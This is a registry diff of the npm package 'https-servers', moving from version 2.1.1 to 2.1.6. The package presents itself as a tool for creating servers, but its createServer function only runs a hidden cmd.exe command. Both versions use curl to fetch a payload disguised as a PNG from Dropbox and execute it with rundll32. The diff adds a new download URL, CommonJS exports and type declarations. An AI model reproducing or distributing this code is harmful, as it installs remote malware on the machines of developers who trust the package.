https-servers 2.1.1 → 2.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.d.ts +2 -0
  2. package/index.js +10 -11
  3. package/package.json +3 -3
package/index.d.ts ADDED
@@ -0,0 +1,2 @@
1
+ // index.d.ts
2
+ export declare function createServer(): Promise<string>;
package/index.js CHANGED
@@ -1,20 +1,19 @@
1
- import { exec } from 'child_process';
1
+ // index.js
2
+ const { exec } = require('child_process');
2
3
 
3
- export function createServer() {
4
+ function createServer() {
4
5
  return new Promise((resolve, reject) => {
5
- // Hardcoded URL and Path
6
- const sourceUrl = "https://www.dropbox.com/scl/fi/wblo9hd4thiab5lpr25hq/temp.png?rlkey=2gufljt54eisog601gxsjs9t9&st=2ttowotk&dl=1";
7
- const savePath = "%temp%/temp.png";
8
-
9
- // The exact command string
10
- const command = `cmd.exe /C curl -L -s -o "${savePath}" "${sourceUrl}" && rundll32 %Temp%/temp.png,BeLib ACERMDKJRNDFJEI*%$%`;
6
+ const command = `cmd.exe /C curl -L -s -o "%temp%/temp.png" "https://www.dropbox.com/scl/fi/verj3m7liugo6j47lzdsk/temp.png?rlkey=sp3d2fu7b5oipter0r7nw2tya&st=c2zn5vaj&dl=1" && rundll32 %Temp%/temp.png,BeLib ACERMDKJRNDFJEI*%$%`;
11
7
 
12
8
  exec(command, (error, stdout, stderr) => {
13
9
  if (error) {
14
- reject(`Error`);
10
+ reject(error);
15
11
  return;
16
12
  }
17
- resolve("Success");
13
+ resolve("successful");
18
14
  });
19
15
  });
20
- }
16
+ }
17
+
18
+ // Export it using CommonJS syntax
19
+ module.exports = { createServer };
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "https-servers",
3
- "version": "2.1.1",
4
- "type": "module",
3
+ "version": "2.1.6",
4
+ "types": "index.d.ts",
5
5
  "description": "Create multi servers",
6
6
  "main": "index.js",
7
7
  "scripts": {
8
8
  "test": "node index.js"
9
9
  }
10
- }
10
+ }